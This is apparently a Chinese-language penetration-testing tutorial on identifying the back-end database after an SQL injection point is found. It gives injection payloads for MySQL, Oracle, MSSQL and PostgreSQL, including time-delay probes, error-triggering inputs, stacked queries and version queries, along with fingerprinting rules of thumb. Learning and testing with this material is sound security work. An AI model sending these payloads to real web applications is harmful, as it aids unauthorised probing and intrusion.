确认注入点后,我们需要识别后端所使用的数据库,因为不同的数据库注入的方式不一样,后期利用手法和条件也不一样。
[!TIP]
核心就是利用数据库特有的一些语法或者函数来判断即可,毕竟要满足该数据库的语法后SQL语句才能正常执行;下面的例子不全面,只是给大家提供一个思路,最明显的就是休眠函数
MySQL
空格--空格
是注释,根据具体情况看是否添加
描述 | 语句 |
---|---|
SLEEP函数 | page.php?id=1'-SLEEP(1)=0 LIMIT 1 -- |
BENCHMARK函数 | page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 -- |
字符串连接(注意有个空格) | page.php?id=' 'mysql' -- page.php?id=' and concat('some','string') |
版本信息 | select @@version select version() |
错误消息(根据返回的错误信息判断) | page.php?id=' |
特有函数 | select connection_id() select last_insert_id() select row_count() |
Oracle
描述 | 语句 | ||
---|---|---|---|
字符串连接 | `page.jsp?id=' | 'oracle' -- a` | |
默认表 | page.jsp?id='UNION SELECT 1 FROM v$version -- select banner FROM v$version select banner FROM v$version WHERE rownum=1 |
||
错误消息(根据返回的错误信息判断) | page.jsp?id=' |
MSSQL
描述 | 语句 |
---|---|
WAITFOR 函数 | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |
堆叠查询默认变量 | page.asp?id=sql'; SELECT @@SERVERNAME -- |
错误消息(根据返回的错误信息判断) | page.asp?id=' |
错误消息(如果id参数是整数, 则@@SERVERNAME 变量的字符串值可能导致转换错误) |
page.asp?id=@@SERVERNAME |
错误消息(如果id参数是整数, 则@@SERVERNAME 变量的字符串值可能导致转换错误) |
page.asp?id=0/@@SERVERNAME |
常量 | @@pack_received <br/>@@rowcount |
PostgreSQL
描述 | 语句 | ||
---|---|---|---|
字符串连接 | `page.jsp?id=' | 'postgresql' -- a` | |
休眠函数 | page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a |
一些经验
方法 | 数据库 |
---|---|
常用搭配 | asp => mssql、access aspx => mssql php => mysql、postgresql java => mysql、oracle、mssql |
默认端口 | oracle => 1521 mssql => 1433 mysql => 3306 postgresql => 5432 |
数据库特有函数 | pg_sleep() => postgresqlbenchmark() => mysqlwaitfor delay => mssqlDBMS_PIPE.RECEIVE_MESSAGE() => oracle… |
特殊符号 | ; => 字句查询标识符,postgresql、mssql 默认可堆叠查询# => Mysql 注释符 |
特定表名 | information_schema => mssql,postgresql,mysqlpg_tables => postgresqlsysobjects => mssqlall_tables,user_tables => oracle |
报错banner信息 | ... |
比较全面可以参考:https://bak.gm7.org/pentestmonkey.net/category/cheat-sheet/sql-injection.html
里面的函数很多,也有执行后的结果(有些函数可能适用多个数据库,可以多用几个判断试试)